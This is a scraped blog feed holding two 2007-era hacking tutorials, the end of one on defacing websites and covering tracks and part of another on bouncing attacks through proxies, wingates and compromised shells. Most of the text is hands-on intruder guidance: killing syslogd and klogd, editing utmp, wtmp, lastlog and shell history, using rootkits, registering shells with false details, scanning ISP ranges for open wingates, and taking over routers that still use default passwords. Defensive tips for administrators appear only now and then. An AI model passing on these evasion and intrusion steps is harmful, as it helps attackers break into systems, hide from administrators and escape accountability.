covering your tracks isn't that it is hard, rather that it is unpredictable. just because you killed the sys logging doesn't mean that they don't have another logger or IDS running somewhere else. (even on another box). Since most script kiddies don't know the skill of the admin they are targetting they have no way of knowing if they have additional loggers or what. Instead the script kiddie makes it very hard (next to impossible) for the admin to track them down. Many use a stolden or second isp account to begin with, so even if they get tracked they won't get caught. If you don't have the luxery of this then you MUST use multiple wingates, shell accounts, or trojans to bounce off of. Linking them together will make it very hard for someone to track you down. Logs on the wingates and shells will most likely be erased after like 2-7 days. That is if logs are kept at all. It is hard enough to even get ahold of one admin in a week, let alone further tracking the script kiddie down to the next wingate or shell and then getting ahold of that admin all before the logs of any are erased. And it is rare for an admin to even notice an attack, even a smaller percent will actively pursue the attacker at all and will just secure their box and forget it ever happend. For the sake of arugment lets just say if you use wingates and shells, don't do anything to piss the admin off too much (which will get them to call authoritizes or try to track you down) and you deleting logs you will be safe. So how do you do it? &lt;br /&gt;&lt;br /&gt;We will keep this very short and too the point, so we'll need to get a few wingates. Wingates by nature tend to change IPs or shutdown all the time, so you need an updated list or program to scan the net for them. You can get a list of wingates that is well updated at http://www.cyberarmy.com/lists/wingate/ and you can also get a program called winscan there. Now lets say we have 3 wingates: &lt;br /&gt;&lt;br /&gt;212.96.195.33 port 23 &lt;br /&gt;202.134.244.215 port 1080 &lt;br /&gt;203.87.131.9 port 23 &lt;br /&gt;&lt;br /&gt;to use them we go to telnet and connect to them on port 23. we should get a responce like this: &lt;br /&gt;&lt;br /&gt;CSM Proxy Server &gt; &lt;br /&gt;&lt;br /&gt;to connect to the next wingate we just type in it's ip:port &lt;br /&gt;&lt;br /&gt;CSM Proxy Server &gt;202.134.244.215:1080 &lt;br /&gt;If you get an error it is most likely to be that the proxy you are trying to connect to isn't up, or that you need to login to the proxy. If all goes well you will get the 3 chained together and have a shell account you are able to connect to. Once you are in your shell account you can link shells together by: &lt;br /&gt;&lt;br /&gt;[j00@server j00]$ ssh 212.23.53.74 &lt;br /&gt;&lt;br /&gt;You can get free shells to work with until you get some hacked shells, here is a list of free shell accounts. And please remember to sign up with false information and from a wingate if possible. &lt;br /&gt;&lt;br /&gt;SDF (freeshell.org) - http://sdf.lonestar.org &lt;br /&gt;GREX (cyberspace.org) - http://www.grex.org &lt;br /&gt;NYX - http://www.nxy.net &lt;br /&gt;ShellYeah - http://www.shellyeah.org &lt;br /&gt;HOBBITON.org - http://www.hobbiton.org &lt;br /&gt;FreeShells - http://www.freeshells.net &lt;br /&gt;DucTape - http://www.ductape.net &lt;br /&gt;Free.Net.Pl (Polish server) - http://www.free.net.pl &lt;br /&gt;XOX.pl (Polish server) - http://www.xox.pl &lt;br /&gt;IProtection - http://www.iprotection.com &lt;br /&gt;CORONUS - http://www.coronus.com &lt;br /&gt;ODD.org - http://www.odd.org &lt;br /&gt;MARMOSET - http://www.marmoset.net &lt;br /&gt;flame.org - http://www.flame.org &lt;br /&gt;freeshells - http://freeshells.net.pk &lt;br /&gt;LinuxShell - http://www.linuxshell.org &lt;br /&gt;takiweb - http://www.takiweb.com &lt;br /&gt;FreePort - http://freeport.xenos.net &lt;br /&gt;BSDSHELL - http://free.bsdshell.net &lt;br /&gt;ROOTshell.be - http://www.rootshell.be &lt;br /&gt;shellasylum.com - http://www.shellasylum.com &lt;br /&gt;Daforest - http://www.daforest.org &lt;br /&gt;FreedomShell.com - http://www.freedomshell.com &lt;br /&gt;LuxAdmin - http://www.luxadmin.org &lt;br /&gt;shellweb - http://shellweb.net &lt;br /&gt;blekko - http://blekko.net &lt;br /&gt;&lt;br /&gt;once you get on your last shell you can compile the exploit, and you should be safe from being tracked. But lets be even more sure and delete the evidence that we were there. &lt;br /&gt;&lt;br /&gt;Alright, there are a few things on the server side that all script kiddies need to be aware of. Mostly these are logs that you must delete or edit. The real script kiddies might even use a rootkit to automaticly delete the logs. Although lets assume you aren't that lame. There are two main logging daemons which I will cover, klogd which is the kernel logs, and syslogd which is the system logs. First step is to kill the daemons so they don't log anymore of your actions. &lt;br /&gt;&lt;br /&gt;[root@hacked root]# ps -def | grep syslogd &lt;br /&gt;[root@hacked root]# kill -9 pid_of_syslogd &lt;br /&gt;&lt;br /&gt;in the first line we are finding the pid of the syslogd, in the second we are killing the daemon. You can also use /etc/syslog.pid to find the pid of syslogd. &lt;br /&gt;&lt;br /&gt;[root@hacked root]# ps -def | grep klogd &lt;br /&gt;[root@hacked root]# kill -9 pid_of_klogd &lt;br /&gt;&lt;br /&gt;Same thing happening here with klogd as we did with syslogd. &lt;br /&gt;&lt;br /&gt;now that killed the default loggers the script kiddie needs to delete themself from the logs. To find where syslogd puts it's logs check the /etc/syslog.conf file. Of course if you don't care if the admin knows you were there you can delete the logs completely. Lets say you are the lamest of the script kiddies, a defacer, the admin would know that the box has been comprimised since the website was defaced. So there is no point in appending the logs, they would just delete them. The reason we are appending them is so that the admin will not even know a break in has accurd. I'll go over the main reasons people break into a box: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To deface the website. - this is really lame, since it has no point and just damages the system. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To sniff for other network passwords. - there are programs which allow you to sniff other passwords sent from and to the box. If this box is on an ethernet network then you can even sniff packets (which contain passwords) that are destine to any box in that segment. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To mount a DDoS attack. - another lame reason, the admin has a high chance of noticing that you comprimised him once you start sending hundreds of MBs through his connection. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To mount another attack on a box. - this and sniffing is the most commonly used, not lame, reason for exploiting something. Since you now how a rootshell you can mount your attack from this box instead of those crappy freeshells. And you now have control over the logging of the shell. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To get sensitive info. - some corperate boxes have alot of valueable info on them. Credit card databases, source code for software, user/password lists, and other top secret info that a hacker may want to have. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To learn and have fun. - many people do it for the thrill of hacking, and the knowledge you gain. I don't see this as horrible a crime as defacing. as long as you don't destroy anything I don't think this is very bad. Infact some people will even help the admin patch the hole. Still illegal though, and best not to break into anyone's box. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'll go over the basic log files: utmp, wtmp, lastlog, and .bash_history &lt;br /&gt;These files are usually in /var/log/ but I have heard of them being in /etc/ /usr/bin/ and other places. Since it is different on alot of boxes it is best to just do a find / -iname 'utmp'|find / -iname 'wtmp'|find / -iname 'lastlog'. and also search threw the /usr/ /var/ and /etc/ directories for other logs. Now for the explanation of these 3. &lt;br /&gt;&lt;br /&gt;utmp is the log file for who is on the system, I think you can see why this log should be appended. Because you do not want to let anyone know you are in the system. wtmp logs the logins and logouts as well as other info you want to keep away from the admin. Should be appended to show that you never logged in or out. and lastlog is a file which keeps records of all logins. Your shell's history is another file that keeps a log of all the commands you issued, you should look for it in your $ HOME directory and edit it, .sh_history, .history, and .bash_history are the common names. you should only append these log files, not delete them. if you delete them it will be like holding a big sign infront of the admin saying "You've been hacked". Newbie script kiddies often deface and then rm -rf / to be safe. I would avoid this unless you are really freaking out. In this case I would suggest that you never try to exploit a box again. Another way to find log files is to run a script to check for open files (and then manually look at them to determine if they are logs) or do a find for files which have been editted, this command would be: find / -ctime 0 -print &lt;br /&gt;&lt;br /&gt;A few popular scripts which can hide your presence from logs include: zap, clear and cloak. Zap will replace your presence in the logs with 0's, clear will clear the logs of your presence, and cloak will replace your presence with different information. acct-cleaner is the only heavily used script in deleting account logging from my experience. Most rootkits have a log cleaning script, and once you installed it logs are not kept of you anyways. If you are on NT the logs are at C:\winNT\system32\LogFiles\, just delete them, nt admins most likely don't check them or don't know what it means if they are deleted. &lt;br /&gt;&lt;br /&gt;One final thing about covering your tracks, I won't go to into detail about this because it would require a tutorial all to itself. I am talking about rootkits. What are rootkits? They are a very widely used tool used to cover your tracks once you get into a box. They will make staying hidden painfree and very easy. What they do is replace the binaries like login, ps, and who to not show your presence, ever. They will allow you to login without a password, without being logged by wtmp or lastlog and without even being in the /etc/passwd file. They also make commands like ps not show your processes, so no one knows what programs you are running. They send out fake reports on netstat, ls, and w so that everything looks the way it normally would, except anything you do is missing. But there are some flaws in rootkits, for one some commands produce strange effects because the binary was not made correctly. They also leave fingerprints (ways to tell that the file is from a rootkit). Only smart/good admins check for rootkits, so this isn't the biggest threat, but it should be concidered. Rootkits that come with a LKM (loadable kernel module) are usually the best as they can pretty much make you totally invisible to all others and most admins wouldn't be able to tell they were comprimised. &lt;br /&gt;&lt;br /&gt;In writting this tutorial I have mixed feelings. I do not want more script kiddies out their scanning hundreds of sites for the next exploit. And I don't want my name on any shouts. I rather would like to have people say "mmm, that defacing crap is pretty lame" especially when people with no lives scan for exploits everyday just to get their name on a site for a few minutes. I feel alot of people are learning everything but what they need to know inorder to break into boxes. Maybe this tutorial cut to the chase alittle and helps people with some knowledge see how simple it is and hopefully make them see that getting into a system is not all it's hyped up to be. It is not by any means a full guide, I did not cover alot of things. I hope admins found this tutorial helpful aswell, learning that no matter what site you run you should always keep on top of the latest exploits and patch them. Protect yourself with IDS and try finding holes on your own system (both with vuln scanners and by hand). Also setting up an external box to log is not a bad idea. Admins should have also seen alittle bit into the mind of a script kiddie and learned a few things he does.. this should help you catch one if they break into your systems. &lt;br /&gt;&lt;br /&gt;On one final note, defacing is lame. I know many people who have defaced in the past and regret it now. You will be labeled a script kiddie and a lamer for a long, long time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-5265896502014181377?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/5265896502014181377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=5265896502014181377' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5265896502014181377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5265896502014181377'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/steps-to-deface-webpage-about-defacers.html' title='Steps To Deface A Webpage (About Defacers)'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7073355113603413578</id><published>2007-12-02T01:28:00.000-08:00</published><updated>2007-12-02T01:29:24.959-08:00</updated><title type='text'>Hacking Techniques: Issue #2 - Bouncing Attacks</title><content type='html'>. Getting info &lt;br /&gt;  -vuln scripts &lt;br /&gt;  -vuln services &lt;br /&gt;  -vuln people &lt;br /&gt;&lt;br /&gt;1.99 Intro &lt;br /&gt;&lt;br /&gt;2. Bouncing Attacks &lt;br /&gt;  -proxies &lt;br /&gt;  -wingates &lt;br /&gt;  -shells &lt;br /&gt;&lt;br /&gt;2.5 Conclusion &lt;br /&gt;&lt;br /&gt;(covered in future issue) &lt;br /&gt;&lt;br /&gt;3. Once They Are In &lt;br /&gt;  -logs &lt;br /&gt;  -IDS &lt;br /&gt;  -Rootkits &lt;br /&gt;  -sniffers &lt;br /&gt;  -DDoS &lt;br /&gt;  -RootShell &lt;br /&gt;  -Deface &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Intro &lt;br /&gt;Welcome to the 2nd issue of Hacking Techniques.  If you read the first one I am glad to see you liked it enough to want to read this one.  This issue will focus on how hackers bounce their attacks so that they do not get caught and so they use the power of a *nix shell.  As with the first one this tutorial can both be used by hackers and admins.  Hackers will learn how to mount an attack and use proxies to help stay anonymous.  Admins will learn how to prevent themselves from being used in an attack as a proxy and prevent stress.  If you don't know what a proxy is or how to use a wingate you need to read this tutorial.  People who run wingates, proxies, or give shells out also should go over this tutorial as to scare them into securing it.  I'll go over a few other random things such as using routers as wingates, and using wingates to bounce your irc sessions. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing Attacks &lt;br /&gt;There are a few ways to bounce your attack.  Sometimes it depends on how you are gonna to do the attack, sometimes it depends on what you got on hand.  I will introduce you to 3 ways to bounce you attack.  I will not go into using routers as proxies since wingates are fairly easy to get.  And I will not go over bouncing your attack off an ftp because all (or very close to all) ftp programs are patched to this by now. Not only should hackers read this next part, but so should admins who want to keep themselves from being used in an attack.  Securing their proxies and wingates can help prevent trouble with hackers abusing it. This can save some time and hassle because you will not need to bother with an admin who trying to track down a hacker who used your network to bounce off of. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing through proxies &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing through wingates &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing and compiling the attack with shells &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing through proxies &lt;br /&gt;Proxies are the most basic way to stay anonomous while on the web.  They are used with your web browser to rely data that you are downloading.  So when you send data to get a webpage it is first sent to the proxy and then to the webpage.  like this: &lt;br /&gt;&lt;br /&gt;    [your computer] -&gt; [proxy] -&gt; [website] &lt;br /&gt;&lt;br /&gt;Some kinds of proxies, known as cache'ing proxies, will hold local copies of websites people visit.  This makes browsing much faster since ideally the connection between you and the proxy is very fast.  So instead of having to query the website the proxy will just send out the saved (cache'd) copy and save time and resources.  Although this can be a problem as I have had first hand experience with this.  When running lame industries we put a script up that allowed people to check out other users email addresses, image, website, names, country, etc.. all info was optional.  But the script would check if you were an admin of lame industries and if you were it would display users passwords, cookies, allow you to change the status of users.  Now somehow a nice fellow named MaAaX found a cache'ing proxy that had this page cached.  Not only was it cache'd.. but it was the admin version cache'd.  Some admin of the site must have used that proxy to visit that script, so the proxy saved what he saw.  And MaAaX reported this, but he was tricked into reporting it to someone who was not an admin of the site.  That person then used the proxy to get an admin's password from the cache'd page.  Moral of the story? Don't leave sensitive info out for everyone to see, I would suggest not using a proxy when admining a site through http and also to put all scripts which can be used by an admin in a .htaccess protected directory. &lt;br /&gt;&lt;br /&gt;Proxies are very easy to find and very easy to use.  To find them try using a program called Proxy Hunter what this program will do is it will scan large ranges of ips for open proxies.  Then it will report them to you so you can try them and see if they require a username and password or if you can use them without.  Another way is to look on the web for lists of proxies, a few good sites for this are: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cyberarmy's proxy list &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;roswell's proxy list &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Don't expect proxies to stay up forever, if one goes down try another.  It is fairly simple to set up basic security for your proxy server, get a good access list restricting who can use it.  Also, as with all programs, check for known security vulnerabilities in the proxy server itself, and vulnerabilities in your firewall, which you set the access list for the proxy server. &lt;br /&gt;&lt;br /&gt;To use proxies you need to set up your browser to bounce off of them.  In internet explorer this is done by going to Tools-&gt;Internet Options...-&gt;Connections-&gt;(highlighting your connection)-&gt;Settings...-&gt;check "Use a proxy server for this connection"-&gt;file in the ip or hostname and the port number then press ok, and ok. &lt;br /&gt;&lt;br /&gt;To set up Netscape to use a proxy select edit-&gt;preferences-&gt;advanced-&gt;proxies-&gt;"Manual proxy configuration" then fill in the hostname or ip and the port number. &lt;br /&gt;&lt;br /&gt;In lynx (or Mosaic) you would do this at the command line: &lt;br /&gt;&lt;br /&gt;http_proxy="http://proxy.com:80/"; export http_proxy; exec lynx &lt;br /&gt;&lt;br /&gt;or exec Mosaic. &lt;br /&gt;&lt;br /&gt;Now to validate that the proxy is working go to a site which displays server environment variables from a perl/php script. One such site is http://www.cyberarmy.com/cgi/whoami.pl &lt;br /&gt;&lt;br /&gt;One proxy is good for everyday surfing, but what if you are up to alittle more than just that?  (I see that smile on your face)  You need to use a technique called chaining proxies.  What happends is you rely the data transfer from one proxy, to another, to another, to another ... until it reaches the destination.  It is fairly simple to do this, but some proxies don't support it.  Other problems include one proxy is slow it makes the connection timeout, too many proxies that the connection times out, and it takes awhile to find 4 or 5 good proxies.  This should work in almost every browser, put the proxies in the address bar in this format: http://proxy.com:80/http://proxy2.com:80/http://proxy3.com:8000/http://site.com this should connect you to site.com using those 3 proxies and the one you put in your configuration (options, preferences.. what we just did above).  I've also heard that using http://proxy.com;80-_-http://site.com works, but from my experience it tends to be less supported by proxy servers. &lt;br /&gt;&lt;br /&gt;Now when I say proxies can be used to bounce a connection to a webpage - I mean webpage.  You cannot use a normal http proxy on anything besides port 80 (the http port.. for webpages).  If you want to bounce connections on other ports try a wingate . &lt;br /&gt;&lt;br /&gt;So what if you are using an exploit to mount an attack and you are too lazy to use wingates to connect to your shell?  You can use something like rain.forrest.puppy's libwhisker, which makes it extremely easy to add proxy support to perl scripts.  You can get libwhisker at: http://www.wiretrip.net/rfp/bins/libwhisker/pr4/libwhisker.pm   I haven't really looked for a C/C++ version of something like this, since it's just as simple to connect to a shell, but if anyone knows one please send info to b0iler@hotmail.com &lt;br /&gt;&lt;br /&gt;One last thing I will go over for proxies is chaining them together, hackers use this so they have more cover when hacking into a script avalible over port 80. To do this you can put proxy1-_-proxy2-_-proxy3-_- before the url, or you can use a program called MultiProxy to chain anonymous proxies together. What is an anonymous proxy? It is a proxy that will not forward information about you. The main peice of information hackers want to keep secret is their IP address, when a proxy forwards this to a computer it is known as the X-Forward-For. It is a header in the packet which tells the target what computer the proxy is going to send the info to (the hackers IP). Anonymous proxies will leave the X-Forward-For header blank so that the target has no idea where the attack is comming from. You can check if a proxy is anonymous at http://www.cyberarmy.com/cgi/whoami.pl &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bouncing through wingates &lt;br /&gt;Wingates are a type of proxy that allow you to make a telnet connection.  They are intended to be used to allow computers to access the internet through another one, but since many types of wingates allow anyone to connect without a password this can be exploited by hackers and other people to be used to bounce their connection off of.  Here is how this works: &lt;br /&gt;&lt;br /&gt;    [hacker's computer] -&gt; [wingate] -&gt; [destination] &lt;br /&gt;&lt;br /&gt;This snazzy ascii shows how your data will go through a wingate and then to it's destination.  So the destination sees it as if the data is coming from the wingate.  If you can't see how hackers can use this to their advantage let me explain... &lt;br /&gt;&lt;br /&gt;Hackers want to keep their ip hidden, they don't want their target to know where they are coming from.  This is both so they cannot block the attack as easy and so they do not get in trouble if they do get caught.  Using a wingate means that the target doesn't see the hackers ip, it sees the wingate's ip instead.  Most hackers use over 3 wingates when hacking, just to be safe.  Because if an admin caught the hack attempt and contacted the admin of the wingate logs can be used to find the hackers ip.  So if they bounce off of like 5 wingates that means alot more hassle for the attacked admin to go through to find the hacker and the more chance that logs will not be kept or will be deleted by one of the wingate admins. &lt;br /&gt;&lt;br /&gt;Bouncing hacking attacks off of a wingate is not the only reason a hacker would use one.  They are also quite handy when going on some irc servers.  The same basic concept applies, the data is bounced off the wingate and then sent to the destination (irc server).  So the irc server sees the connection as comming from the wingate.  This can allow hackers to get around channel bans, get around glines, hide themselves from others, create clones, etc..  Check your options in irc client to figure out how to use them. (with mirc it's known as a SOCKS 4 firewall in the options.) &lt;br /&gt;&lt;br /&gt;Since they are useful on an irc, many people on irc tend to be using wingates.  This is why I ported a simple port scanner to irssi (also works with BitchX and maybe Xchat).  This port scanner is editted to only look for port 23 and 1080 the most commonly used ports for wingates, 23 is telnet, 1080 is SOCKS.  What it does is collects people's ips when they enter a channel and then when you issue the command /scan it will check the list of ips for avalible wingates.  There is also easy to use scripts for mirc that do this, a search on google for mirc wingate scanner produced many links.  You can also use tools that scan wide blocks of ips for wingates using tools like wingate scanners .  Here is a tip: find a cable or dsl isp and scan their subnet for wingates.  Many people on fast connections use wingates for their network to split their bandwidth up and since cable they have a static ip they will not change as often.  So do a '/whois user' on someone who is on cable to get their ip, then check all-nettols.com (use "smartwhois") to get their isp's ip range and I scan that for wingates. &lt;br /&gt;&lt;br /&gt;Wingates tend to go up and down hourly, this is because sometimes people only need them for awhile and when someone does put one up they get alot of traffic from hackers using them to bounce off of, so instead of wasting their bandwidth they secure the wingate or take it down.  Because of this you need to scan for wingates all the time.  Another reason why irc works good for looking for wingates, you let other people find them for you. =) &lt;br /&gt;&lt;br /&gt;Not many hackers just use 1 wingate when hacking. This is how using 4 wingates would work: &lt;br /&gt;&lt;br /&gt;    [hacker's computer] -&gt; [wingate] -&gt; [wingate] -&gt; [wingate] -&gt; [wingate] -&gt; [destination] &lt;br /&gt;&lt;br /&gt;Using multiple wingates is required for a hacker, they will not just use one, since it would be easy to track them.  But using too many can make things very slow.  Anything over 4 and under 10 would be normal. &lt;br /&gt;&lt;br /&gt;So after you scan (this may take awhile, be patient) and get a few wingates how do you connect to them and use them? This is very simple, but tends to be asked all the time on message boards and chatrooms all over the place.  When you telnet to a wingate you need to have it's ip or hostname and the port the wingate is running on.  Normally the port is 23 or 1080.  Now we can only use wingates which don't require a username and password to use.  So after we get a list of them we will need to test and see which work without a login.  Simply get out telnet and connect to that ip and port, wait for the connection and see if it says something like this: &lt;br /&gt;&lt;br /&gt;    Wingate&gt; &lt;br /&gt;&lt;br /&gt;If it had a login of some sort then you cannot use it.  This is one way admins of wingates can protect themselves, make sure to password protect the wingate so random hackers cannot use it.  Not only can hackers use your wingate, but spammers often use them aswell.  Having spammers send thousands of emails through your wingate is a surefire way to get your isp to cancel your account.  Besides adding passwords you can also secure your wingate by only allowing computers on your LAN to access it, this is how for GateKeeper : &lt;br /&gt;&lt;br /&gt;login as Administrator on GateKeeper &lt;br /&gt;Policies -&gt; Default Policies -&gt; Users can access services -&gt; select everyone &lt;br /&gt;Location -&gt; Specify locations from where this recipient has rights -&gt; &lt;br /&gt;add 127.0.0.1 and 192.168.0.* (or whatever ip range your network uses). &lt;br /&gt;&lt;br /&gt;To secure Deerfield's wingate simply upgrade to 3.x home version. The home version of 3.x doesn't let anyone connect at default. It's now configured securely by default :D &lt;br /&gt;&lt;br /&gt;There are also other terminal's that will appear, it is not allways "Wingate&gt;".  It could be anything, Wingate&gt; is just default on some. &lt;br /&gt;&lt;br /&gt;We got connected, now to use the wingate.  Wingates by default will telnet to any ip port you enter, so try to telnet to a server you know is up: &lt;br /&gt;&lt;br /&gt;    Wingate&gt; 204.42.253.18:23 &lt;br /&gt;&lt;br /&gt;Now if you encounter an error this means somethings ether wrong with the ip:port you entered, the ip:port is down, or the wingate is not working.  Also try to do 'telnet ip:port' since that wingate might not telnet at default.  So we got our list of wingates down to a list of working, none passworded wingate.  Now to link them.  Lets say we have the wingates (note, these are fake): &lt;br /&gt;&lt;br /&gt;    203.43.25.104 port 23 &lt;br /&gt;    214.133.200.20 port 1080 &lt;br /&gt;    180.23.56.93 port 23 &lt;br /&gt;    194.51.107.68 port 23 &lt;br /&gt;&lt;br /&gt;To link these we would telnet into the first one: &lt;br /&gt;&lt;br /&gt;    telnet 203.43.25.104 23 &lt;br /&gt;    Sparky's server 1.03&gt; &lt;br /&gt;&lt;br /&gt;Then enter in the ip:port of the next one on the list. &lt;br /&gt;&lt;br /&gt;    Sparky's server 1.03&gt; 214.133.200.20 1080 &lt;br /&gt;    CDD Proxy Server&gt; &lt;br /&gt;&lt;br /&gt;and link the rest.. &lt;br /&gt;&lt;br /&gt;    CDD Proxy Server&gt; 180.23.56.93 23 &lt;br /&gt;    welcome to 180.23.56.93: 194.51.107.68 23 &lt;br /&gt;&lt;br /&gt;Now A hacker can telnet into a shell account from the last wingate and launch the attack, or if they know how to do some socket programming they can set up exploits to go through wingates themselves.  For the next section , shells , I'll go over how a hacker can use a shell to make his attack. &lt;br /&gt;&lt;br /&gt;I have heard from a few people that routers can be used as a wingate, I myself have never done this since there is always plenty of wingates to use if you just scan for them.  But.. using a router as a wingate is very interesting for a number of reasons.  First, a router gets so much traffic that the admin would probably not know if it was being used to bounce an attack.  Routers don't log by default, and since they get alot of traffic not many admins log everything (or they're logs do not last too long) this means there is less of a chance of the hacker getting tracked down.  Routers are pretty much always up and have a fast connection, so if you got a few routers going as wingates you wouldn't have to scan for new ones as much =) &lt;br /&gt;&lt;br /&gt;Now don't go out looking for routers just yet, before you can use a router as a wingate you need to have access to use telnet on it.  Unlike wingates which can sometimes allow anyone to run telnet, routers don't.  You will need to hack into the router to beable to use telnet on it to wingate from it.  Of course the number of routers with default passwords (admin:admin) or simple exploits not patched is pretty high from my experience.  Also to note: it might not be a good idea to telnet directly into a router as your first wingate.. if the admin does find out of your break in (and they log) you will have left your real ip.  Hackers will probably use a regular wingate or two before connecting to a comprimized router.  Needless to say, if you admin a router make sure to keep it locked up tight, not only can hackers screw up your network, sniff passwords, redirect data, and generally cause a muck, but they can also use your router as a launching pad for their next attack. &lt;br /&gt;&lt;br /&gt;Another use for wingates is to use them to bounce a connection off of irc.  Most commonly SOCKS (stands for SOCK-et-S), are used for irc, they are very simular to wingates but used mainly at a firewall to allow transparent connections through it.  SOCKS usually run on port 1080.  To bounce your connection to an IRC server with a wingate or SOCKS type the following in your irc client: &lt;br /&gt;&lt;br /&gt;/server win.gate.com 23 &lt;br /&gt;/quote irc.box.sk 6667 &lt;br /&gt;/quote user grendelsucks 123.123.123.123 b0iler :ban evader &lt;br /&gt;/quote nick b0iler2 &lt;br /&gt;&lt;br /&gt;then use irc like normal, you will have the ip or hostname of the wingate.  I believe if you use mirc you can go to File -&gt; Options -&gt; Connect -&gt; Firewall and then enter in the wingate's IP and port and checking "Use SOCKS Firewall" (correct me if I am wrong).   If you use Xchat try Settings -&gt; Setup -&gt; IRC -&gt; Proxy Server -&gt; Fill in IP and port and select the type as wingate.  You can also use a bnc (stands for BouNCe) to rely your connection to an IRC server. &lt;br /&gt;&lt;br /&gt;Same as with proxies, if you don't want people connecting to your wingate set up a strict access list on a firewall.  Also username and passwords are a good idea when it comes to wingates. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Shell Accounts &lt;br /&gt;A shell account is having access to a remote computer.  Users can connect to them and issue commands just like if they were at that computer's keyboard.  This also means that hackers can issue commands, and they often use shell accounts as another way to bounce their attack. &lt;br /&gt;&lt;br /&gt;Usually a shell account is used along with wingates and is used by the hacker to launch the attack.  Hackers will not use free shells such as nether.net or hobbiton.org because they do not have the ablity to run programs they need and they cannot delete the log files with a regular user account.  If they were to use one of these shells the admin could easily check the logs and see what they were upto.  So hackers will use what are known as root shells, these are systems the hacker has already comprized and has root on them.  This allows them to delete all nessasary logs of their attack and lets them have full access to *nix tools.  The key tools hackers need are raw packet support, nmap and other auditting programs, a c compiler, a perl interpreter, and exploits.  These come standard on most *nix boxes, so it makes *nix very valuable to hackers.  Although most will have *nix installed on their computer they might still use shells because they have faster connections, and will allow another layer of protection along with the wingates. &lt;br /&gt;&lt;br /&gt;This is an example of how a hacker would use 3 wingates with 2 shells: &lt;br /&gt;&lt;br /&gt;    [hacker's computer] -&gt; [wingate] -&gt; [wingate] -&gt; [wingate] -&gt; [shell] -&gt; [shell] -&gt; [target] &lt;br /&gt;&lt;br /&gt;To login to the shells a hacker can use telnet or they can use ssh , whichever they want.  ssh will allow a more secure connection.  A simple: telnet owned.com:5742 would allow them to get in (if they set up telnetd on port 5742).  To connect with ssh is: ssh owned.com -p 5742. If your system would get comprized it too could be used as a shell for the hackers next attack. &lt;br /&gt;&lt;br /&gt;There are free shell accounts for beginner hackers to use, again, I stress that these are closely monitored and you only get a user account, so things are logged and power is limitted. Don't use them to hack! What a hacker wants is a 'rootshell' which is root access. This allows the hacker total control over everything on that computer. Raw sockets is a big thing, access to edit logs is another. If you can edit the logs on a rootshell this means that it is all the more harder for anyone to track you. If you use a free shell or a user account on a box you cannot edit the logs and will be vulnerable to be traced. Always using alot of wingates will help in keeping you out of trouble. &lt;br /&gt;&lt;br /&gt;Most shells you will want are on *nix boxes, so you need to learn unix commands. Also knowing what files do what will help you understand how to hide yourself and how to modify the system the way you want. Setting up linux and securing your box will help you better understand how to break in, as well as breaking into linux will help you better understand how to secure it =) To help you learn *nix here is a few really good tutorials: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://unixhelp.ed.ac.uk - A very easy and detailed step by step guide to getting started with Unix, with examples, solution to problems, and some cool facts. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.mines.utah.edu/~wmgg/ - A short and sweet Unix tutorial to help with the basic commands. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.belgarath.demon.co.uk/guide/ - A very nice guide that takes things slow and uses helpful pictures to explain things. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.linuxnewbie.org - A very helpful stop for anyone new to linux, it has many helpful files. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here's a good one &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And another &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;More free knowledge &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;read one of these! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Unix links &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can you stop hackers from using your system? Well this is a very indepth question, because you will need to completely secure your box to stop them from gaining access to it.  Read up on Unix security, firewalls, and IDS.  Ofcourse take action before the hacker gets in, secure your box...  use tripwire and snort 'just incase'.  One way to catch them is to install a remote logging box. This will allow you to have logs of everything they do, to do this set up any old box with inetd and syslogd and then change syslog's configuration file to have logs sent to that box. &lt;br /&gt;&lt;br /&gt;# /etc/syslog.conf file &lt;br /&gt;*.*                             @213.165.52.61 &lt;br /&gt;&lt;br /&gt;For more info on setting up a secure remote logger try loki's guide on How to set up a secure remote logger &lt;br /&gt;&lt;br /&gt;One thing I would like to stress about using shells from a friends box is that they may be logging everything you do and gathering your username:passwords to your email, hacked accounts, sites, ftp, nickserv, and anything else you transfer.  Same 